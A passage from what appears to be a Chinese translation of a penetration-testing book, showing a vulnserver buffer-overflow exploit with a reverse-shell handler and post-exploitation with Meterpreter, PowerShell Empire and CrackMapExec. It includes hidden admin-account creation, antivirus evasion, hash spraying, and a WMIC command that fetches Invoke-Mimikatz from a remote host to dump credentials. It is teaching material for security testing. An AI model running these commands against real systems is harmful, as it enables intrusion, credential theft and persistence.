最后,我们进入创建完整漏洞利用的最后阶段——我们只需要添加一个 NOP sled,然后溢出缓冲区并将我们的 shellcode 写入运行易受攻击应用程序服务器的系统。以下代码片段是利用易受攻击的服务器进行攻击的完整 Python 代码:

import socket
import struct
s = socket.socket()
s.connect(("<ServerIP>",9999))
buf =  b""
buf += b"<Add the shell code from msfvenom here>
shellcode = buf
nops = b"\x90"*16
leng = 2984
offset = 2003
eip = struct.pack("<I",0x62501203)
payload = [b"TRUN /.:/",b"A"*offset,eip,nops,shellcode,b"C"*(leng - offset - len(eip) - len(nops) - len(shellcode))]
payload = b"".join(payload)
s.send(payload)
s.close() 

将最终的 Python 脚本保存为 exploit.py,在执行之前,确保你的监听器已在 Metasploit 中启动,可以通过在终端中运行以下命令来检查:

use exploit/mutli/handler
set payload windows/meterpreter/reverse_tcp
set lhost <Your kali IP>
set lport 444
exploit -j 

一切已准备就绪。攻击者现在将能够使用 Python 编程执行并制作 Windows 特定的漏洞利用。下一步是从终端运行 exploit.py

python3 exploit.py 

成功的漏洞利用将覆盖缓冲区并写入我们的 shellcode,然后执行它以生成一个反向 shell 到攻击者,如 图 10.32 所示:

Text  Description automatically generated

图 10.32:成功的 TCP 反向 shell 来自 vulnserver

这标志着开发 Windows 特定漏洞利用的五个阶段的结束。我们将探索 PowerShell Empire 框架,攻击者可以在后期利用它进行后渗透活动。

PowerShell Empire 框架

最初的 Empire 工具是最强大的后渗透工具之一,它基于 Python 2.7,但在过去的 3 年里进展缓慢。这个项目的同一分支被 BC-Security 接手,并活跃贡献,现在已经用 Python 3 重写,并被全球的渗透测试人员用于执行各种不同的攻击,以在渗透测试中展示系统漏洞。该工具运行 PowerShell 代理,天生具有持久性。它还利用了其他重要工具,如 mimikatz。在这一部分,我们将详细了解如何使用 PowerShell 的 Empire 框架。

该工具可以通过在终端中运行 sudo apt install powershell-empire 来安装。安装完成后,测试人员应该能够看到以下选项:

Text  Description automatically generated

图 10.33:PowerShell Empire 主菜单

攻击者需要先运行服务器,然后再连接客户端。所以第一步是运行 sudo powershell-empire server,然后运行 sudo powershell-empire client,这将带我们进入以下界面:

Text  Description automatically generated

图 10.34:PowerShell Empire 客户端菜单

当前的 Empire 工具大约有 393 个内置模块。下表列出了在使用 PowerShell Empire 工具时至关重要的命令,因为它类似于 Metasploit,但这些命令以其独特的方式使用:

命令 描述
agents 访问连接的代理列表
creds 向数据库添加/显示凭据
exit 退出帝国
help 显示帮助菜单
interact 与特定代理互动
list 列出活动的代理或监听器
listeners 与活动监听器互动
load 从非标准文件夹加载帝国模块
reload 重新加载一个(或所有)帝国模块
reset 重置全局选项(例如,IP 白名单)
searchmodule 搜索帝国模块名称/描述
set 设置全局选项(例如,IP 白名单)
show 显示全局选项(例如,IP 白名单)
usemodule 使用帝国模块
usestager 使用帝国阶段器

表 10.1: PowerShell 帝国命令

帝国工具由四个重要角色组成:

  • 监听器:这类似于 Meterpreter 监听器,等待来自被攻陷系统的连接。监听器管理提供了本地创建监听器的接口,支持不同类型—dbxhttphttp_comhttp_foreignhttp_hopmeterpreter。我们将探讨 http

  • 阶段器:阶段器提供了适用于 macOS (OS X)、Windows 和其他操作系统的模块列表。这些包括 DLL 文件、宏、一行代码等,可以通过外部设备利用这些模块进行更具信息性的社会工程和物理控制台攻击。

  • 代理:代理是连接到监听器的僵尸。所有代理都可以通过运行 agent 命令来访问,这将直接带我们进入代理菜单。

  • 日志记录和下载:只有在成功连接到监听器的代理后,才能访问此部分。与 Meterpreter 类似,帝国工具允许我们通过 PowerShell 在本地机器上运行 mimikatz 并导出细节,以便执行更具针对性的攻击。

我们必须做的第一件事是设置本地监听器。listeners 命令将帮助我们跳转到监听器菜单。如果有任何活动的监听器,它们将显示出来。使用 listener http 命令创建监听器,如 图 10.35 所示:

图形用户界面,文本 说明自动生成

图 10.35: 不同类型的监听器

在 PowerShell 帝国客户端终端中运行以下命令,你应该能够设置帝国监听器。

Uselistner http
(Empire: uselistener/http) > set Port 80
[*] Set Port to 80
(Empire: uselistener/http) > execute
[+] Listener http successfully started 

一旦选择了监听器,默认情况下,端口 80 被设置。如果你运行的是 HTTP 服务,可以通过输入 set Port portnumber 来更改端口号。请始终记住,Empire 工具中的所有命令都是区分大小写的。你可以使用 Tab 键功能,它会自动更正命令并提供选项。要获取起始器,请使用 usestager multi/launcher,然后将 Listener 设置为 http,如图 10.36所示,完成后即可。当我们运行 execute 命令时,应该会得到可以在目标机器上运行的 PowerShell 脚本:

文本描述自动生成

图 10.36:成功使用起始器创建有效负载

我们已经探索了 PowerShell Empire 框架。在接下来的章节中,我们将深入了解这个工具。

概述

本章我们重点介绍了漏洞利用的基本原理以及将侦察结果转化为明确行动的不同工具,这些行动帮助建立测试者与目标之间正确的连接。

Kali 提供了多种工具来促进漏洞利用的开发、选择和激活,包括内部的 Exploit-DB 以及多个简化漏洞利用使用和管理的框架。我们深入研究了 MSF,并学习了如何将 Exploit-DB 中的不同类型文件编译成实际的漏洞利用。

我们还关注了如何通过识别不同的模糊测试技术来开发 Windows 漏洞利用。我们还将 shell 代码加载到自定义漏洞中。此外,我们还快速浏览了 PowerShell Empire 工具,一旦漏洞利用阶段完成,它对于渗透测试人员来说非常有用。

在下一章(第十一章目标行动与横向移动)中,我们将学习攻击者网络杀伤链中最重要的部分,以及后期利用、权限提升、网络中的横向移动、域信任的妥协和端口转发。

第十一章:目标操作与横向移动

如果利用系统是渗透测试的定义,那么在利用之后的操作才赋予测试真正的意义。这一步骤展示了漏洞的严重性及其可能对组织产生的影响。本章将重点讨论立即的后利用活动,以及横向权限提升的方面——即利用被攻破的系统作为起点跳跃到网络上的其他系统。

到本章结束时,你将学到以下内容:

  • 本地权限提升

  • 后利用工具

  • 在目标网络中的横向移动

  • 破坏域信任

  • 横向渗透和端口转发

在被攻破的本地系统上的活动

通常可以获得系统的访客或用户访问权限。攻击者访问重要信息的能力通常会受到较低权限级别的限制。因此,常见的后利用活动是将访问权限从访客提升到用户,再到管理员,最后提升为 SYSTEM。这个逐步提升访问权限的过程通常被称为垂直权限提升

用户可以通过几种方法获得高级访问凭证,包括以下几种:

  • 使用网络嗅探器和/或键盘记录器捕获传输中的用户凭证(bettercapresponderdsniff 设计用于从实时传输或保存的 Wireshark 或tshark会话的 PCAP 文件中提取密码)。

  • 搜索本地存储的密码。一些用户将密码保存在邮件文件夹中(通常称为passwords)。由于密码重用和简单密码构造系统很常见,找到的密码可以在权限提升过程中使用。

  • NirSoft(www.nirsoft.net)提供了几款免费的工具,可以通过使用 Meterpreter 上传到被攻破的系统,提取操作系统和缓存密码的应用程序中的密码(如邮件、远程访问软件、FTP 和网页浏览器)。

  • 使用 Meterpreter 转储SAMSYSKEY文件。

  • 当某些应用程序加载时,它们会按照特定的顺序读取动态链接库DLL)文件。攻击者可以创建一个与合法 DLL 同名的伪造 DLL,将其放置在特定目录中,使应用程序加载并执行,从而为攻击者提供提升的权限。

  • 使用缓冲区溢出或其他手段来提升权限的漏洞利用。

  • 执行getsystem脚本,该脚本将自动将管理员权限提升至 SYSTEM 级别,命令在 Meterpreter 提示符下执行。

对被攻破系统进行快速侦察

一旦系统被入侵,攻击者需要获取关于该系统、其网络环境、用户和用户账户的关键信息。通常,他们会在 shell 提示符下输入一系列命令或脚本来调用这些命令。

如果被攻击的系统基于 Unix 平台,则典型的本地侦察命令包括以下内容:

命令 描述
/etc/resolv.conf 使用 copy 命令来访问和查看系统当前的 DNS 设置。由于它是一个具有读取权限的全局文件,访问时不会触发警报。
/etc/passwd/etc/shadow 这些是包含用户名和密码哈希的系统文件。具有 root 级访问权限的人可以复制它,并可以使用诸如 John the Ripper 的工具破解密码。
whoamiwho -a 识别本地系统上的用户。
ifconfig -a, iptables -L -n, 和 netstat -r 提供网络信息。 ifconfig -a 提供 IP 地址详细信息,iptables -L -n 列出本地防火墙中的所有规则(如果有),netstat -r 显示内核维护的路由信息。
uname -a 打印内核版本。
ps aux 显示当前运行的服务、进程 ID 和附加信息。
dpkg -l yum list &#124; grep installeddpkg -l rpm -qa --last &#124; head 识别已安装的软件包。

表 11.1:可以由渗透测试人员使用的用于侦察的 Linux 命令

这些命令包含了可用选项的简要概述。请参考相应命令的帮助文件,了解如何完整使用它们。

对于 Windows 系统,将输入以下命令:

命令 描述
whoami /all 列出当前用户、SID、用户权限和组。
ipconfig /allipconfig /displaydns 显示有关网络接口、连接协议和本地 DNS 缓存的信息。
netstat -bnaonetstat -r 列出端口和相应进程 (-b),不进行名称查找 (-n),所有连接 (-a) 和父进程 ID (-o)。 -r 选项显示路由表。需要管理员权限运行。
net viewnet view /domain 查询 NBNS/SMB 来定位当前工作组或域中所有主机。/domain 参数给出主机可用的所有域。
net user /domain 列出定义域中的所有用户。
net user %username% /domain 获取当前用户的信息(如果他们是查询域的一部分,则不需要 /domain)。包括登录时间、上次更改密码时间、登录脚本和组成员资格。
net accounts 打印本地系统的密码策略。要打印域的密码策略,使用 net accounts /domain
net localgroup administrators 打印管理员本地组的成员。使用 /domain 开关可以获取当前域的管理员。
net group "Domain Controllers" /domain 打印当前域的域控制器列表。
net share 显示当前共享的文件夹,这些文件夹可能没有为共享其中的数据提供足够的访问控制,以及它们指向的路径。

表 11.2:渗透测试人员可以利用的 Windows 侦察命令

查找并获取敏感数据——掠夺目标

掠夺(有时称为 窃取)一词源自黑客成功攻破系统后,将自己视为海盗,争分夺秒地窃取或损坏尽可能多的数据。这些术语已成为对更加谨慎的行为的参考,即在完成攻击目标后窃取或修改专有数据或财务数据的行为。

攻击者接下来可以集中精力攻击次要目标——系统文件,这些文件将提供支持进一步攻击的信息。次要文件的选择将取决于目标的操作系统。例如,如果被攻破的系统是 Unix,则攻击者还将针对以下目标:

  • 系统和配置文件(通常位于 /etc 目录中,但根据实现情况,可能位于 /usr/local/etc 或其他位置)

  • 密码文件(/etc/password/etc/shadow

  • .ssh 目录中的配置文件和公私密钥

  • .gnupg 目录中可能包含的公私密钥环

  • 邮件和数据文件

在 Windows 系统中,攻击者将针对以下目标:

  • 系统内存,可以用来提取密码、加密密钥等信息

  • 系统注册表文件

  • 安全账户管理器SAM)数据库,其中包含密码的哈希版本,或者可能在 %SYSTEMROOT%\repair\SAMc:\Windows\System32\config\ 中找到的 SAM 数据库的其他版本

  • 任何其他用于加密的密码或种子文件

  • 邮件和数据文件

不要忘记检查任何包含临时项目的文件夹,如附件。例如,UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\ 可能包含可能感兴趣的文件、图片和 cookies。

如前所述,系统内存包含了大量信息,对于任何攻击者来说,这些信息都是重要的。因此,它通常是需要获取的优先文件。系统内存可以从多个来源以单个镜像文件下载,如下所示:

  • 通过向被攻陷的系统上传工具,并直接复制内存(这些工具包括Belkasoft RAM CapturerMandiant MemoryzeMoonSols Dumpit

  • 通过复制 Windows 的休眠文件 hiberfil.sys,然后使用取证工具挂载它以离线解密和分析该文件

  • 通过复制虚拟机并将 VMEM(虚拟机的分页文件)文件转换为内存文件

如果你向被攻陷的系统上传了一个设计用来捕获内存的程序,这个程序有可能会被杀毒软件识别为恶意软件。大多数杀毒/EDR 软件可以识别内存采集软件的哈希签名和行为,并在其可能泄露敏感内容时发出警报保护物理内存。采集软件会被隔离,目标会收到警告,提示他们遭遇了攻击。

为了避免这种情况,使用 Metasploit Framework 完全在目标的内存中运行可执行文件,使用以下命令:

meterpreter> execute -H -m -d calc.exe -f <memory executable + parameters> 

上述命令执行 calc.exe 作为一个虚拟可执行文件,但实际上将内存采集可执行文件上传,并在其进程空间中运行。

该可执行文件不会出现在进程列表中,例如任务管理器中,且通过数据取证技术进行检测会更困难,因为它不会写入磁盘。此外,它将避免系统的杀毒软件,因为一般杀毒软件不会扫描内存空间以寻找恶意软件。

一旦物理内存被下载,可以使用 Volatility 框架进行分析。Volatility 是一组 Python 脚本,旨在对内存进行取证分析。如果操作系统受支持,Volatility 会扫描内存文件并提取以下内容:

  • 足以关联镜像与其源系统的镜像信息和系统数据。

  • 正在运行的进程、加载的 DLL、线程、套接字、连接和模块。

  • 打开的网络套接字和连接,以及最近打开的网络连接。

  • 内存地址,包括物理和虚拟内存映射。

  • LM/NTLM 哈希和 LSA 密钥。LanManLM)密码哈希是微软最初为保护密码而设计的方案。多年来,破解它们变得非常简单,可以将哈希值转换回实际密码。NT LanManNTLM)哈希是更新的版本,更能抵抗攻击。然而,它们通常与 NTLM 版本一起存储,以保证向后兼容性。本地安全机构LSA)存储着本地密码的秘密:远程访问(有线或无线)、VPN、自动登录密码等。系统中存储的任何密码都是脆弱的,尤其是当用户重复使用密码时。

  • 存储在内存中的特定正则表达式或字符串。

创建额外的账户

以下命令具有高度侵入性,通常在事件响应过程中会被系统所有者检测到。然而,攻击者经常会植入这些命令,以便将注意力转移到更持久的访问机制上:

命令 描述
net user attacker password /add``net user testuser testpassword /ADD /DOMAIN 创建一个名为attacker的新本地帐户,并将密码设置为password。如果你在域控制器上运行该命令,它还将相同的用户添加到域中。
net localgroup administrators attacker /add 将名为attacker的新用户添加到本地管理员组。在某些情况下,命令将是net localgroup administrators /add attacker
net user username /active:yes /domain 将一个非活动或禁用的帐户更改为活动帐户。在小型组织中,这会引起注意。密码管理不善的大型企业可能有 30%的密码被标记为非活动,因此这可能是获取帐户的一种有效方式。
net share name$=C:\ /grant:attacker,FULL /unlimited C:(或指定的其他驱动器)作为 Windows 共享,并授予用户(攻击者)完全访问或修改该驱动器上所有内容的权限。

表 11.3:可用于在本地和域服务器上创建用户的 Windows 命令

如果你创建一个新的用户帐户,当有人登录到受损系统的欢迎屏幕时,会注意到这一点。为了使该帐户不可见,你需要通过命令行修改注册表,使用以下REG命令:

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /V account_name /T REG_DWORD /D 0 

这将修改指定的注册表键,以隐藏用户(/V)的帐户。再次强调,具体操作可能会受到目标操作系统版本的特殊语法要求影响,因此首先确定 Windows 版本,然后在受控测试环境中验证,再对目标实施。

后期利用工具

后期利用是指利用现有的访问权限进行权限提升、利用和数据外流的技巧。在接下来的章节中,我们将探索三种不同的后期利用工具:Metasploit 的 Meterpreter、PowerShell Empire 和 CrackMapExec。

Metasploit 框架 - Meterpreter

Metasploit 是为了支持利用和后期利用活动而开发的。当前版本包含大约 2,180 个漏洞利用、1,155 个辅助模块和 399 个后期利用模块。大约有 229 个 Windows 模块简化了后期利用活动。我们将在这里回顾一些最重要的模块。

在以下示例中,我们成功地利用了运行在 Windows 2016 上的一个易受攻击的 Microsoft Exchange 服务器(这是一种经典攻击,经常用于验证 Meterpreter 的更复杂方面)。初始步骤是对网络和受损系统进行即时侦察。

初始的 Meterpreter shell 是脆弱的,随着时间推移容易失败。因此,一旦系统被攻击,我们需要迁移 shell 并将其绑定到一个更稳定的进程上。这也使得检测漏洞变得更加困难。在 Meterpreter 提示符下,输入ps以获取正在运行的进程列表,如图 11.1所示:

图 11.1:使用 Meterpreter 列出所有正在运行的进程

ps命令还会返回每个进程的完整路径名。这一点在图 11.1中被省略了。ps列表标识出c:\windows\explorer.exe正在运行。在这个特定案例中,它被标识为进程 ID 为1868,如图 11.2所示。由于这是一个相对稳定的应用程序,我们将把 shell 迁移到这个进程上:

图 11.2:迁移到不同的特权进程

要确定的第一个参数是:我们是否处于虚拟机中?在被攻击的系统和攻击者之间打开 Meterpreter 会话后,执行run post exploit module checkvm命令,如图 11.3所示。返回的数据表明这是一个 VirtualBox 虚拟机

图 11.3:使用后期利用模块收集虚拟机信息

一些最重要的后期利用模块可以通过 Meterpreter 获得,这些模块在表 11.4中进行了描述:

命令 描述
run post/windows/manage/inject_host 允许攻击者向 Windows 的HOSTS文件中添加条目。这可以将流量重定向到一个不同的网站(假冒网站),以下载额外的工具,或者确保杀毒软件无法连接到互联网或本地服务器以获取签名更新。
run post/windows/gather/cachedump 导出所有缓存信息,可进一步用于数据外泄。
run use post/windows/manage/killav 禁用大多数在受攻击系统上运行的杀毒服务。此脚本常常过时,成功执行需手动验证。
run winenum 执行命令行和 WMIC 的系统特征分析。它导出注册表中的重要键和 LM 哈希。
run scraper 收集其他脚本未收集的全面信息,如整个 Windows 注册表。
run uploadrun download 允许攻击者向目标系统上传和下载文件。

表 11.4:Meterpreter 后期利用模块

让我们来看一个例子。在这里,我们将在被攻击的系统上运行winenum,该工具会导出所有重要的注册表键和 LM 哈希,用于横向移动和权限提升。这可以通过在 Meterpreter 命令行中运行run winenum来实现。你应该看到确认信息All tokens have been processed,如图 11.4所示:

图 11.4:运行 Meterpreter Windows 枚举

所有单独的发现将保存在 /root/.msf4/logs/scripts/winenum 文件夹中。攻击者可以查看该文件夹中的详细内容,如 图 11.5 所示:

图 11.5:Meterpreter 脚本输出的 Windows 枚举结果

攻击者可以做的另一件事是使用 Meterpreter 冒充会话令牌,并利用隐身模块。最初,创建了一个独立模块,通过会话令牌来冒充用户。这些令牌类似于 web 会话 cookie,能够在无需每次询问用户名和密码的情况下识别用户。同样的情况也适用于计算机和网络。

攻击者可以通过在 Meterpreter shell 中运行 use incognito 来以隐身模式运行 Meterpreter,如 图 11.6 所示:

图 11.6:列出所有可用的令牌

例如,如果 Meterpreter shell 被本地用户攻破,通过将用户令牌冒充为系统用户 NT Authority,普通用户也能享受系统用户的权限。

要执行冒充,攻击者可以从 Meterpreter shell 中运行 impersonate_token,如 图 11.7 所示:

图 11.7:使用 Meterpreter 利用令牌冒充

PowerShell Empire 项目

在上一章中,我们了解了 PowerShell Empire 框架以及如何创建启动器来发起攻击。攻击者可以将启动器的 PowerShell 输出保存到 .ps1 文件中。在本节中,我们将继续在目标上运行启动器。

为了让系统成为他们的代理,攻击者可以利用现有的 Meterpreter 会话来运行 PowerShell,并结合 Empire 工具生成的有效载荷,如 图 11.8 所示:

图 11.8:从被攻破的机器运行 PowerShell

一旦有效载荷在远程系统上运行,我们的 Empire 工具界面必须显示以下内容:

图 11.9:PowerShell 脚本在目标机器上成功执行并向 Empire 汇报

要与代理交互,你必须输入 agents 列出所有连接到你的代理,以及输入 interact "代理名称"。你可以通过我们的 HTTP 监听器向代理运行 system level 命令,如 图 11.10 所示:

图 11.10:使用 PowerShell Empire 在远程服务器上运行 shell 命令

CrackMapExec

CrackMapExec (CME) 是另一种后期利用工具,帮助自动化评估大型 Active Directory 网络的安全性。CME 的设计考虑到隐匿性,遵循 利用现有资源(living off the land) 的概念:滥用内置的 Active Directory 功能/协议来实现其功能,从而能够避开大多数端点保护/IDS/IPS 解决方案。

CME 重度使用 Impacket 库和 PowerSploit 来处理网络协议并执行各种后渗透技术。CME 默认安装在 Kali Linux 中;你可以通过运行 crackmapexec service -L 来列出该工具中的所有模块,如 图 11.11 所示:

图 11.11:CrackMapExec SMB 模块

该工具适用于红队或渗透测试期间设定的目标。CME 可以简要地分为三个部分:协议、模块和数据库:

协议:CME 支持 SMB、MSSQL、LDAP、WINRM 和 SSH。这些是大多数组织中常用的协议。

模块表 11.5 提供了使用 CME 时非常重要且实用的 SMB 模块列表。然而,这些模块并不限于此列表;测试人员还可以使用第三方插件或编写自己的 PowerShell 脚本,并通过 CME 调用它们:

模块名称 描述
empire_exec 该功能将启动 Empire RESTful API,并在执行目标操作之前为特定的监听器生成启动器。
Shellcode_inject 利用 PowerSploit 的 Invoke-Shellcode.ps1 脚本将 shellcode 注入内存,并下载指定的原始 shellcode。
mimikittenz 如果 mimikatz 被阻止,可以使用 mimikittenz。该模块允许测试人员从内存中提取凭证,而无需下载另一个有效载荷。
com_exec 使用 COM 脚本小程序绕过应用程序白名单。
Mimikatz_enum_chrome 利用 PowerSploit 的 Invoke-Mimikatz.ps1 脚本解密 Google Chrome 中保存的密码。
tokens 利用 PowerSploit 的 Invoke-TokenManipulation 脚本提取令牌。
mimikatz 利用 PowerSploit 的 Invoke-Mimikatz.ps1 脚本将密码转储为明文。
Pe_inject 该功能利用 PowerSploit 的 Invoke-ReflectivePEInjection.ps1 脚本,通过下载指定的 DLL/EXE 将脚本注入内存。
lsassy 一个非常有趣的有效载荷,允许你转储 lsass.exe 并远程发送结果。
wireless 下载目标配置接口的所有无线密钥(明文)。
rdp 允许测试人员启用/禁用远程桌面协议。

表 11.5:CrackMapExec 模块

数据库cmedb 是一个数据库,用于存储主机及其凭证详细信息,这些信息是在利用攻击后收集的。图 11.12 显示了一些详细信息的示例:

图 11.12:cmedb 存储被利用的主机和凭证

例如,我们将使用从被攻陷系统中获取的 hashdump 来运行 ipconfig 命令,如下代码所示:

crackmapexec smb <target IP> -u Username -d Domain -H <Hash value> -x ipconfig 

图 11.13 显示了通过成功传递哈希并在目标上运行 ipconfig 命令来验证凭证的有效性:

图 11.13:使用 crackmapexec 在目标上运行命令

水平升级和横向渗透

在水平升级中,攻击者保留现有的凭据,但利用这些凭据在不同用户的账户上进行操作。例如,系统 A 上的用户攻击系统 B 上的用户,试图攻破其账户。

攻击者通常利用被攻破的系统进行横向渗透。

这用于提取常见用户名的哈希值,如 Itsupport 和 LocalAdministrators,或者已知的默认用户管理员,从而在所有连接到同一域的可用系统上横向提升权限。例如,在这里,我们将使用 CME 在一个 IP 范围内运行相同的密码哈希,以便在黑客控制的共享驱动器上转储所有密码:

crackmapexec smb 10.10.10.1/24 -u <Username> -d local -H <Hashvalue> --sam 

图 11.14 显示了在整个 IP 范围内运行 SAM 转储,以提取 SAM 密码哈希,而无需植入任何可执行文件或后门:

图 11.14:在网络 IP 范围内喷洒密码哈希

在成熟的组织中,可能会遇到端点保护或杀毒软件阻止该载荷的情况,但如果用户是本地管理员,这并不会阻止哈希转储。

大多数情况下,我们已经成功使用相同的本地管理员密码哈希登录到域的 Microsoft SCCM系统中心配置管理器)系统。该系统用于管理所有由组织管理的系统上的软件安装。然后,它执行命令与控制操作。

通过运行以下命令,您可以在目标上运行 mimikatz,并使用捕获的用户名和密码哈希:

crackmapexec smb <target> -u <username> -d <domain or local> -H <Hash value> -M mimikatz 

图 11.15 显示了在我们受害者系统上运行 mimikatz 的输出,提取明文密码,而无需上传任何可执行文件或植入后门:

图 11.15:使用 crackmapexec 在目标上运行 Mimikatz

CME 具有出色的支持,使得你可以通过模块直接传递哈希值并调用 mimikatz,或者调用 Empire PowerShell 来执行数据外泄。

攻破域信任关系和共享

本节将讨论可以被操控的域层级结构,以便我们能够利用 Active Directory 上实施的功能。

我们将利用 Empire 工具收集所有域级信息和系统之间的信任关系。为了了解被攻破系统的当前状况,攻击者现在可以使用 Empire 工具执行不同类型的查询。表 11.6 提供了在 RTE/渗透测试活动中通常使用的最有效模块列表:

模块名称 描述
situational_awareness/network/sharefinder 此模块提供给定网络上网络共享文件的列表。
situational_awareness/network/arpscan 测试人员可以对可达的 IP v4 范围执行arpscan
situational_awareness/network/reverse_dns 此模块提供反向 IP 查找并查找 DNS 主机名。
situational_awareness/network/portscan 类似于nmap,你可以使用此模块执行主机扫描,但它并不隐蔽。
situational_awareness/network/netview 此模块帮助攻击者枚举共享、已登录用户和给定域上的会话。
situational_awareness/network/userhunter``situational_awareness/network/stealth_userhunter 攻击者使用userhunter来识别他们可以使用已获得的凭据登录多少个系统。由于这是针对用户的扫描,因此它的集合会记录到给定的网络中。
situational_awareness/network/powerview/get_forest 成功执行此模块将返回林的详细信息。
situational_awareness/network/get_exploitable_system 识别网络中的易受攻击系统,提供额外的入口点。
situational_awareness/network/powerview/find_localadmin_access get_domain_controller get_forest_domain get_fileserver find_gpo_computer_admin 所有这些模块用于收集更多关于域信任、对象和文件服务器的详细信息。

表 11.6:PowerShell Empire 模块用于情境感知

在这个示例中,我们将使用situational_awareness/network/powerview/get_forest模块来提取已连接域的林详细信息。以下命令在 PowerShell Empire 终端中运行。

模块成功运行后,应该会显示图 11.16中的详细信息:

图 11.16:运行 PowerShell Empire 模块以获取林的详细信息

在另一个示例中,攻击者总是会找到包含ADMIN$C$的系统,以便植入后门或收集信息。然后它可以使用这些凭据远程运行命令。

这可以通过使用situational_awareness/network/powerview/share_finder模块来实现,如图 11.17所示:

图 11.17:识别 Active Directory 域中的共享驱动器

由于大多数渗透测试人员不会检查共享驱动器中的内容,有时他们会对管理员犯的错误感到惊讶,例如允许所有域用户访问 IT 共享驱动器,或者用户的家目录无人看管,攻击者可以在其中窃取大量密码,而不必利用任何单一漏洞。在多次红队活动中,我们注意到员工将密码(包括一些银行信息)以明文形式存储在共享驱动器中。

PsExec、WMIC 及其他工具

PsExec 是微软替代 Telnet 的工具,可以从technet.microsoft.com/en-us/sysinternals/bb897553.aspx下载。

通常,攻击者使用 PsExec 模块通过有效凭证获取访问权限,并与网络中的远程系统进行通信:

图 11.18:使用 PSExec 和有效凭证获取远程 shell 访问

最初,该可执行文件是为系统内部工具设计的,用于排除框架中的问题。现在可以通过运行 PsExec Metasploit 模块并执行远程选项来利用它。这将打开一个 shell;测试人员可以输入他们的用户名和密码,或者直接传递哈希值,因此无需破解密码哈希即可访问系统。如果网络中的单个系统被攻破,那么所有的横向移动操作都可以进行,而无需密码。

图 11.19 显示了带有有效凭证的 PsExec Metasploit 模块:

图 11.19:使用有效凭证的 Metasploit 模块选项以利用 PsExec

WMIC

在较新的系统中,攻击者和渗透测试人员利用内置脚本语言,如 Windows Management Instrumentation Command Line (WMIC),这是一种命令行和脚本接口,用于简化访问 Windows 管理工具。如果被攻破的系统支持 WMIC,可以使用多个命令来收集信息。表 11.7 提供了一些命令的简要描述:

命令 描述
wmic nicconfig get ipaddress,macaddress 获取 IP 地址和 MAC 地址
wmic computersystem get username 验证被攻破的账户
wmic netlogin get name, lastlogon 确定最后使用该系统的人和最后登录时间
wmic desktop get screensaversecure, screensavertimeout 确定屏幕保护程序是否受密码保护以及超时时间
wmic logon get authenticationpackage 确定支持哪些登录方法
wmic process get caption, executablepath,commandline 识别系统进程
wmic process where name="process_name" call terminate 终止特定进程
wmic os get name, servicepackmajorversion 确定系统的操作系统
wmic product get name, version 识别已安装的软件
wmic product where name="name' call uninstall /nointeractive 卸载或移除已定义的软件包
wmic share get /ALL 识别用户可以访问的共享
wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" 远程启动 RDP
wmicnteventlog get path, filename,writeable 查找所有系统事件日志,并确保它们可以被修改(这些在掩盖痕迹时使用)

表 11.7:测试人员可以利用的 WMIC 命令以执行水平权限提升

PowerShell 是一种基于 .NET Framework 构建的脚本语言,从控制台运行,给予用户对 Windows 文件系统和注册表等对象的访问权限。它在 Windows 7 操作系统及更高版本中默认安装。PowerShell 通过允许在本地和远程目标上进行 shell 集成和互操作性,扩展了 WMIC 提供的脚本支持和自动化功能。

PowerShell 为测试人员提供了在被攻击系统上访问 shell 和脚本语言的权限。由于它是 Windows 操作系统的原生工具,使用其命令不会触发防病毒软件。当脚本在远程系统上运行时,PowerShell 不会写入磁盘,因此可以绕过任何防病毒软件和白名单控制(假设用户已允许使用 PowerShell)。

PowerShell 支持多种内置函数,称为 cmdlet。PowerShell 的一个优势是,cmdlet 与常见的 Unix 命令有别名,因此输入 ls 命令将返回典型的目录列表,如 图 11.20 所示:

图 11.20:在 Windows PowerShell 中运行 Linux 命令

PowerShell 是一种功能强大的语言,能够支持非常复杂的操作;建议用户花时间熟悉其使用。以下是在受感染后可以立即使用的一些简单命令,详见 表 11.8:

命令 描述
Get-Host &#124; Select Version 识别受害者系统正在使用的 PowerShell 版本。某些 cmdlet 会在不同版本中被添加或调用。
Get-Hotfix 识别已安装的安全补丁和系统热修复。
Get-Acl 识别组名和用户名。
Get-Process, Get-Service 列出当前的进程和服务。
gwmi win32_useraccount 调用 WMI 列出用户账户。
Gwmi_win32_group 调用 WMI 列出 SID、名称和域组。

表 11.8:可用于执行本地系统枚举的内置 PowerShell 命令

渗透测试人员可以使用 Windows 原生命令、DLL、.NET 函数、WMI 调用和 PowerShell cmdlet,将它们组合在一起创建 .ps1 扩展名的 PowerShell 脚本。一个使用 WMIC 和凭据进行横向移动的例子是,攻击者在远程机器上运行一个进程,从内存中提取明文密码。要使用的命令如下:

wmic /USER:"domain\user" /PASSWORD:"Userpassword" /NODE:10.10.10.4 process call create "powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.12/Invoke-Mimikatz.ps1'); Invoke-MimiKatz -DumpCreds | Out-File C:\\users\\public\\creds.txt 

侦察工作还应扩展到本地网络。由于你是在盲目操作,你需要创建一个与受感染主机可以通信的实时系统和子网的映射。首先,在 shell 提示符下输入 IFCONFIG(基于 Unix 的系统)或 IPCONFIG /ALL(Windows 系统)。这将允许攻击者确定以下信息:

  • 是否启用了 DHCP 地址分配。

  • 本地 IP 地址,这也会识别至少一个活动子网。

  • 网关 IP 地址和 DNS 服务器地址。系统管理员通常在整个网络中遵循编号约定,如果攻击者知道一个地址,例如网关服务器10.10.10.1,他们会 ping 其他地址,如10.10.10.10010.10.10.5等,以查找额外的子网。

  • 用于利用 Active Directory 账户的域名。

如果攻击系统和目标系统都在使用 Windows,可以使用net view命令枚举网络上的其他 Windows 系统。攻击者使用netstat -rn命令来查看路由表,其中可能包含对感兴趣的网络或系统的静态路由。

可以使用nmap扫描本地网络,该工具会嗅探 ARP 广播。此外,Kali 还有几个工具可用于 SNMP 端点分析,包括nmaponesixtyonesnmpcheck

部署数据包嗅探器以映射流量将帮助您识别主机名、活动子网和域名。如果未启用 DHCP 寻址,还将允许攻击者识别未使用的静态 IP 地址。Kali 预装了 Wireshark(基于 GUI 的数据包嗅探器),但您也可以从命令行或后渗透脚本中使用tshark,如图 11.21 所示:

图 11.21:运行 tshark 来嗅探网络并识别主机

Windows 凭证编辑器

Windows Credentials Editor (WCE)可以从www.ampliasecurity.com/research/windows-credentials-editor/下载。

